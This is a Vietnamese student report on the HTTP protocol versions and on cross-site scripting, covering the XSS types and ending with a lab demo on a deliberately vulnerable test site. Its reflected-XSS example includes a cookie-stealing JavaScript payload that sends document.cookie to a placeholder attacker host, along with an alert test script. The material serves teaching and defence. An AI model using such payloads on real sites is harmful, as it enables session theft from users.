Một trong những mối đe dọa đáng kể đối với hệ thống web là lỗ hổng XSS, một kỹthuật tấn công mà kẻ tấn công chèn mã độc hại vào các trang web và sau đó lừa đảongười dùng để thực hiện các
Trang 1TRƯỜNG ĐẠI HỌC CÔNG NGHỆ THÔNG TIN
VÀ TRUYỀN THÔNG VIỆT - HÀN
KHOA KỸ THUẬT MÁY TÍNH & ĐIỆN TỬ
BÁO CÁO
AN TOÀN ỨNG DỤNG WEB VÀ CƠ SỞ DỮ LIỆU
HTTP VÀ KHAI THÁC LỖ HỔNG XSS CỦA
HỆ THỐNG WEB
Sinh viên thực hiện : Nguyễn Trọng Nghĩa
Huỳnh Nhật Tùng Thái Viết Nghĩa Nguyễn Hưu Thiện
Giảng viên hướng dẫn : TS Trần Thanh Liêm
Đà Nẵng, tháng 3 năm 2024
Trang 2TRƯỜNG ĐẠI HỌC CÔNG NGHỆ THÔNG TIN
VÀ TRUYỀN THÔNG VIỆT - HÀN
KHOA KỸ THUẬT MÁY TÍNH & ĐIỆN TỬ
BÁO CÁO
AN TOÀN ỨNG DỤNG WEB VÀ CƠ SỞ DỮ LIỆU
HTTP VÀ KHAI THÁC LỖ HỔNG XSS CỦA
HỆ THỐNG WEB
Sinh viên thực hiện : Nguyễn Trọng Nghĩa
Huỳnh Nhật Tùng Thái Viết Nghĩa Nguyễn Hưu Thiện
Giảng viên hướng dẫn : ThS Trần Thanh Liêm
Trang 3Đà Nẵng, tháng 3 năm 2024
LỜI CẢM ƠN
Lời đầu tiên cho phép nhóm chúng em gửi lời cảm ơn tới các Thầy Cô giáo cáccán bộ công tác tại Trường ĐH Công Nghệ Thông Tin Và Truyền Thông Việt Hàn đãtạo mọi điều kiện giúp đỡ chúng em trong thời gian xây dựng và hoàn thành báo cáo
Đặc biệt em xin bày tỏ lòng biết ơn sâu sắc tới thầy ThS Trần Thanh Liêmgiảng viên hướng dẫn môn An Toàn Ứng dụng Web và Cơ sở dữ liệu đã tận tình giúp
đỡ, chỉ bảo về nghiệp vụ và trực tiếp hướng dẫn nhóm chúng em trong suốt quá trìnhhoàn thành báo cáo này
Tuy nhiên do thời gian có hạn và cùng với nhiều nguyên nhân khác, mặc dùnhóm em đã nỗ lực hết mình xong đồ án của nhóm em vẫn còn mắc phải những thiếusót và hạn chế Chúng em rất mong nhận được sự thông cảm và chỉ bảo của các Thầy
Cô cùng tất cả các bạn
Chúng em xin chân thành cảm ơn !
Trang 4NHẬN XÉT
(Của giảng viên hướng dẫn)
………
………
………
………
………
………
………
………
………
………
………
………
………
Chữ Ký Giảng Viên Hướng Dẫn
ThS Trần Thanh Liêm
Trang 5Mục Lục
LỜI CẢM ƠN 3
Mục Lục 5
DANH MỤC CÁC TỪ VIẾT TẮT 5
MỞ ĐẦU 6
CHƯƠNG 1 – CƠ SỞ LÝ THUYẾT 8
1.1 Tổng quan về HTTP 8
1.1.1 HTTP 1 8
1.1.2 HTTP 2 10
1.2 TỔNG QUAN XSS 12
CHƯƠNG 3 – MÔ PHỎNG VÀ ĐÁNH GIÁ 19
3.1 Triển khai hệ thống 19
3.1.1 Khai thác tấn công XSS từ lỗ hổng 19
3.2 Giải pháp ngăn chặn 20
CHƯƠNG 4 – KẾT LUẬN VÀ HƯỚNG PHÁT TRIỂN 21
TÀI LIỆU THAM KHẢO 22
DANH MỤC CÁC TỪ VIẾT TẮT
Trang 7thành ưu tiên hàng đầu Bài nghiên cứu này tập trung vào hai khía cạnh quan trọng củabảo mật thông tin trên môi trường Internet, đó là Giao thức Web HTTP (HypertextTransfer Protocol) và lỗ hổng XSS (Cross-Site Scripting) trong hệ thống web Giaothức HTTP đóng vai trò quan trọng trong việc truyền tải dữ liệu giữa máy chủ và trìnhduyệt web, cung cấp cơ sở hạ tầng cơ bản cho nhiều ứng dụng trực tuyến Tuy nhiên,
sự phổ biến của nó cũng làm tăng nguy cơ về các mối đe dọa bảo mật
Một trong những mối đe dọa đáng kể đối với hệ thống web là lỗ hổng XSS, một kỹthuật tấn công mà kẻ tấn công chèn mã độc hại vào các trang web và sau đó lừa đảongười dùng để thực hiện các hành động không mong muốn Điều này không chỉ đe dọatính toàn vẹn của dữ liệu mà còn tạo ra rủi ro về bảo mật cho người sử dụng cuối
Lỗ hổng XSS, một trong những phương thức tấn công phổ biến, đặt ra thách thứclớn đối với sự bảo mật của các ứng dụng web Việc hiểu rõ về cách mà kẻ tấn công cóthể tận dụng các lỗ hổng này để thực hiện các cuộc tấn công độc hại là quan trọng đểphát triển các biện pháp phòng ngừa và kiểm soát
Nghiên cứu này nhằm cung cấp các giải pháp và khuyến nghị để tăng cường bảomật cho các hệ thống web Bằng cách này, chúng ta không chỉ nâng cao kiến thức vềcác rủi ro mà còn hướng dẫn cách triển khai các biện pháp bảo mật thích hợp, giúp bảo
vệ thông tin quan trọng khỏi sự đe dọa của các tấn công mạng ngày càng phức tạp
Trang 8CHƯƠNG 1 – CƠ SỞ LÝ THUYẾT
1.1 Tổng quan về HTTP
Hình 1 1 lịch sử hình thành HTTP
- HTTP (HyperText Transfer Protocol - Giao thức truyền tải siêu văn bản) là một trong các
giao thức ứng dụng của bộ giao thức TCP/IP, được dùng để liên hệ thông tin giữa Máy cung cấp dịch vụ (Web server) và Máy sử dụng dịch vụ (Web client), là giao thức Client/Server dùng cho World Wide Web – WWW
Trang 9+ HTTP connection là kết nối TCP/IP được thiết lập giữa client và server đểtruyền tải các HTTP message Trong HTTP 1.0, mỗi HTTP message được gửi trên một kết nối TCP riêng biệt, và kết nối được đóng sau khi nhận đượcphản hồi từ server Điều này làm tăng thời gian và tài nguyên cho việc thiết lập và đóng kết nối cho mỗi yêu cầu.
Trang 10- HTTP 1.0 mới ra mắt ngoại trừ là một giao thức đơn giản, dễ hiểu và được hầu hết tất cả các trình duyệt và máy chủ web hỗ trợ thì xuất hiện rất nhiều hạn chế như:
+ Mỗi yêu cầu HTTP 1.0 yêu cầu một kết nối TCP mới Điều này có nghĩa
là máy khách phải khởi tạo một kết nối mới cho mỗi tài nguyên mà nó yêu cầu Điều này có thể dẫn đến lãng phí tài nguyên và thời gian
+ HTTP 1.0 không sử dụng mã hóa Điều này có nghĩa là tất cả dữ liệu đượctruyền giữa máy khách và máy chủ đều ở dạng văn bản thuần túy, có thể dễ
bị tấn công
Cho nên ngay sau đó là sự ra mắt của giao thức HTTP/1.1 (1997) giải quyết được nhiều điểm hạn chế trong HTTP/1.0, dẫn đến tối ưu hóa hiệu suất quan trọng như: keep-alive connections, mã hóa chunked encoding, byte-range requests, cơ chế caching bổ sung, giải mã transfer, và request pipelining
- Keep-alive connections:
+ Ở HTTP 1.0 dùng loại kết nối Short-lived connections tức mỗi một HTTP request sẽ được hoàn thành trên chính kết nối của riêng nó, có nghĩa là quá trình bắt tay 3 bước (TCP three-hand-shaking) phải được thiết lập trước khi request Tuy nhiên cách này sẽ không tối ưu được thời gian, ví dụ ta có 3 request thì TCP phải thiết lập three-hand-shaking cho mỗi request riêng biệt,chưa kể nếu có lớp bảo mật như TLS thì sẽ càng làm tăng độ trễ của kết nối
Trang 11Hình 1 2 Quy trình kết nốt giữa web Client-Server 1.1.2 HTTP 2
HTTP 2 là phiên bản mới nhất của giao thức HTTP, được định nghĩa trong RFC 7540 năm 2015.
- HTTP/2 sử dụng binary thay cho dạng văn bản Binary Protocol (giao thức nhị phân) sẽ hiệu quả hơn để phân tích, gọn nhẹ hơn để giao tiếp và quan trọng nhất là chúng sẽ ít bị lỗi hơn so với dạng text Trong HTTP/2.0, mọi giao tiếp của client và máy chủ đều được chia thành các message và frame, tất cả chúng đều là dữ liệu binary
Hình 1 3 Mô hình HTTP2.0
- Tất cả các thành phần như (headers, statuscode, verbs, ) từ HTTP/1.x đều được giữ nguyên nhưng cách chúng được mã hóa khi được vận chuyển đã được thay đổi.Nếu HTTP/1.x sử dụng dấu "newline" để phân cách câu lệnh, header thì HTTP/2.0phân tách các gói tin trở thành các gói tin nhỏ hơn và các frames, tất cả đều được mã hóa kiểu nhị phân Kết quả là cả client và server đều phải sử dụng chung 1 cơ chế mã hóa để có thể hiểu nhau
+ Với frame là đơn vị thông tin nhỏ nhất trong HTTP/2.0, mỗi frame chứa 1frame header, header tối thiểu chứa thông tin về stream nó thuộc về
+ Message: Do 1 chuỗi các frames ghép lại sẽ tạo thành 1 gói tin request hoặc response
+ Stream là 1 kết nối 2 chiều, nơi các gói tin (messages) được vận chuyển
- Tất cả giao tiếp đều được thực hiện qua duy nhất 1 kết nối TCP, nơi chứa các stream2 chiều Mỗi stream sẽ có một số định danh được sử dụng để xác định thứ tự, độ ưu tiên khi vận chuyển các gói tin Phía client và server sẽ hỗtrợ việc tách các gói tin cũng như ghép nó lại đúng thứ tự ban đầu dựa vào thông tin ở frame header
Trang 12- Mọi kết nối HTTP/2.0 đều thực hiện qua TCP, trên đó giao tiếp được thực hiện hai chiều nhờ vào stream Mỗi stream có định danh và độ ưu tiên nhờ
đó nó có thể truyền tải các message giữa client và server một cách chính xác Mỗi message là một gói tin HTTP hoàn chỉnh (ví dụ là truy vấn hoặc phản hồi từ máy chủ), message sẽ có nhiều frame, ví dụ frame header chứa các HTTP header, frame data chứa dữ liệu chính cần truyền tải Frame từ các message khác nhau và các stream khác nhau có thể được truyền tải xen
kẽ nhau và sẽ được ghép nối khi chúng đến đích nhờ vào định danh của chúng được gắn với các message và stream Chính nhờ cơ chế này mà HTTP/2.0 cho phép chúng ta gửi và nhận nhiều thông tin hơn trong cùng một kết nối
Hình 1 4 Mô hình cải tiến HTTP/2 so với HTTP1/1 1.2 TỔNG QUAN XSS.
1.2.1 XSS là gì?
- Cross Site Scripting (XSS) là một trong những tấn công phổ biến và dễ bị tấn công nhất mà tất cả các Tester có kinh nghiệm đều biết đến Nó được coi
là một trong những tấn công nguy hiểm nhất đối với các ứng dụng web và
có thể mang lại những hậu quả nghiêm trọng Giới thiệu về tấn công XSS Tấn công XSS là một đoạn mã độc, để khái thác một lỗ hổng XSS, hacker sẽchèn mã độc thông qua các đoạn script để thực thi chúng ở phía Client Thông thường, các cuộc tấn công XSS được sử dụng để vượt qua truy cập
và mạo danh người dùng
- Mục đích chính của cuộc tấn công này là ăn cắp dữ liệu nhận dạng của người dùng như: cookies, session tokens và các thông tin khác Trong hầu hết các trường hợp, cuộc tấn công này đang được sử dụng để ăn cắp cookie của người khác Như chúng ta biết, cookie giúp chúng tôi đăng nhập tự động Do đó với cookie bị đánh cắp, chúng tôi có thể đăng nhập bằng các thông tin nhận dạng khác Và đây là một trong những lý do, tại sao cuộc tấn công này được coi là một trong những cuộc tấn công nguy hiểm nhất
Trang 13- Tấn công XSS đang được thực hiện ở phía client Nó có thể được thực hiện với các ngôn ngữ lập trình phía client khác nhau Tuy nhiên, thường xuyên nhất cuộc tấn công này được thực hiện với Javascript và HTML.
1.2.2 Tấn công XSS thực hiện như thế nào?
- Tấn công Cross Site Scripting nghĩa là gửi và chèn lệnh và script độc hại, những mã độc này thường được viết với ngôn ngữ lập trình phía client như Javascript, HTML, VBScript, Flash… Tuy nhiên, cách tấn công này thông thường sử dụng Javascript và HTML Cách tấn công này có thể được thực hiện theo nhiều cách khác nhau, phụ thuộc vào loại tấn công XSS, những
mã độc có thể được phản chiếu trên trình duyệt của nạn nhân hoặc được lưu trữ trong cơ sở dữ liệu và được chạy mỗi khi người dùng gọi chức năng thích hợp Nguyên nhân chính của loại tấn công này là xác thực đầu vào dữ liệu người dùng không phù hợp, dữ liệu độc hại từ đầu vào có thể xâm nhập vào dữ liệu đầu ra Mã độc có thể nhập một script và được chèn vào mã nguồn của website Khi đó trình duyệt không thể biết mã thực thi có phải độc hại hay không Do đó mã độc hại có thể đang được thực thi trên trình duyệt của nạn nhận hoặc bất kỳ hình thức giả nào đang được hiển thị cho người sử dụng Có một số hình thức tấn công XSS có thể xảy ra Bên dưới
là những hình thức tấn công chính của Cross Site Scripting:
+ Cross Site Scripting có thể xảy ra trên tập lệnh độc hại được thực hiện ở phía client
+ Trang web hoặc form giả mạo được hiển thị cho người dùng (nơi nạn nhân nhập thông tin đăng nhập hoặc nhấp vào liên kết độc hại)
+ Trên các trang web có quảng cáo được hiển thị
+ Email độc hại được gửi đến nạn nhân Tấn công xảy ra khi tin tặc tìm kiếm những lỗ hổng trên website và gửi nó làm đầu vào độc hại Tập lệnh độc hại được tiêm vào mã lệnh và sau đó được gửi dưới dạng đầu ra cho người dùng cuối cùng
Chúng ta hãy phân tích một ví dụ đơn giản sau đây: Tưởng tượng chúng ta có 1 trang web với trường Search
Nếu trường Search là trường có lỗ hổng, khi người dùng nhập bất kỳ đoạn script thì nó sẽ được thực thi
Ví dụ 1: người dùng nhập đoạn script đơn giản như sau:
Trang 14Lúc đó sau khi nhấn nút “Search”, script được nhập sẽ được thực hiện.
Như chúng ta thấy trong Ví dụ, script đã nhập vào trường Search được thực thi Điều này chỉ cho thấy lỗ hổng của cuộc tấn công XSS Tuy nhiên, một tập lệnh có hại hơn cũng có thể được nhập Nhiều Tester kết hợp tấn công Cross Site Scripting với
Javascript Injection, cũng đang được thực hiện ở phía client Trong cả hai, các script tấn công độc hại đang được tiêm Tuy nhiên, trong trường hợp tấn công XSS, các thẻ<script> không cần thiết để thực thi script
Trang 15+ Người dùng đăng nhập web và giả sử được gán session:
Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
+ Bằng cách nào đó, hacker gửi được cho người dùng URL:
site.net/%E2%80%9D%2Bdocument.cookie;
http://example.com/name=var+i=new+Image;+i.src=%E2%80%9Dhttp://hacker-Giả sử example.com là website nạn nhân truy cập, hacker-site.net là trang của hacker tạo ra
+ Nạn nhân truy cập đến URL trên
+ Server phản hồi cho nạn nhân, kèm với dữ liệu có trong request (đoạn javascript của hacker)
+ Trình duyệt nạn nhân nhận phản hồi và thực thi đoạn javascript
+ Đoạn javascript mà hacker tạo ra thực tế như sau:
var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;
Dòng lệnh trên bản chất thực hiện request đến site của hacker với tham số là cookie người dùng:
Trang 16dụng web không kiểm tra kỹ các dữ liệu đầu vào trước khi lưu vào cơ sở dữ liệu (ở đây tôi dùng khái niệm này để chỉ database, file hay những khu vực khác nhằm lưu trữ dữ liệu của ứng dụng web) Ví dụ như các form góp ý, các comment … trên các trang web Với kỹ thuật Stored XSS , hacker không khai thác trực tiếp mà phải thực hiện tối thiểu qua 2 bước.
Đầu tiên hacker sẽ thông qua các điểm đầu vào (form, input, textarea…) không được kiểm tra kỹ để chèn vào CSDL các đoạn mã nguy hiểm
Tiếp theo, khi người dùng truy cập vào ứng dụng web và thực hiện các thao tác liên quan đến dữ liệu được lưu này, đoạn mã của hacker sẽ được thực thi trên trình duyệt người dùng
Kịch bản khai thác:
Trang 17Reflected XSS và Stored XSS có 2 sự khác biệt lớn trong quá trình tấn công.+ Thứ nhất, để khai thác Reflected XSS, hacker phải lừa được nạn nhân truy cập vào URL của mình Còn Stored XSS không cần phải thực hiện việc này, sau khi chèn được mã nguy hiểm vào CSDL của ứng dụng, hacker chỉ việc ngồichờ nạn nhân tự động truy cập vào Với nạn nhân, việc này là hoàn toàn bình thường vì họ không hề hay biết dữ liệu mình truy cập đã bị nhiễm độc.
+ Thứ 2, mục tiêu của hacker sẽ dễ dàng đạt được hơn nếu tại thời điểm tấn công nạn nhân vẫn trong phiên làm việc(session) của ứng dụng web Với
Reflected XSS, hacker có thể thuyết phục hay lừa nạn nhân đăng nhập rồi truy cập đến URL mà hắn ta cung cấp để thực thi mã độc Nhưng Stored XSS thì khác, vì mã độc đã được lưu trong CSDL Web nên bất cứ khi nào người dùng truy cập các chức năng liên quan thì mã độc sẽ được thực thi, và nhiều khả năng
là những chức năng này yêu cầu phải xác thực(đăng nhập) trước nên hiển nhiên trong thời gian này người dùng vẫn đang trong phiên làm việc
Từ những điều này có thể thấy Stored XSS nguy hiểm hơn Reflected XSS rất nhiều, đối tượng bị ảnh hưởng có thế là tất cả nhưng người sử dụng ứng dụng web đó Và nếu nạn nhân có vai trò quản trị thì còn có nguy cơ bị chiếm quyền điều khiển web
- DOM Based XSS:
DOM Based XSS là kỹ thuật khai thác XSS dựa trên việc thay đổi cấu trúc DOM của tài liệu, cụ thể là HTML
+ Một website có URL đến trang đăng ký như sau:
Khi truy cập đến thì chúng ta thấy một Form rất bình thường
Trang 18Khi đấy form đăng ký sẽ trở thành như thế này:
Người dùng sẽ chẳng chút nghi ngờ với một form “bình thường” như thế này, và khi lựa chọn giới tính, Script sẽ được thực thi
Trang 19CHƯƠNG 3 – MÔ PHỎNG VÀ ĐÁNH GIÁ
3.1 Triển khai hệ thống
3.1.1 Khai thác tấn công XSS từ lỗ hổng
Đầu tiên hãy truy cập vào trang web http://testphp.vulnweb.com và nhập câu script vào ô tìm kiếm
Đoạn script: <script>alert(“123”)</script>
Trong loại tấn công này, kẻ tấn công chèn mã độc hại vào cơ sở dữ liệu hoặc các vùng lưu trữ dữ liệu trên trang web Ví dụ, nếu một trang web cho phép người dùng nhập dữ liệu và lưu trữ nó (như các bình luận, tin nhắn, hoặc hồ sơ người dùng), kẻ tấn công có thể chèn đoạn mã <script>alert("123")</script> vào phần bìnhluận Khi người dùng truy cập trang để xem bình luận này, đoạn mã JavaScript sẽ được thực thi, và cửa sổ pop-up sẽ xuất hiện Sau khi nhập xong thì ấn go ta được như hình dưới:
Như vậy là web này đang bị lỗ hổng XSS
Lên google và lấy 1 ảnh bất kỳ để upload lên web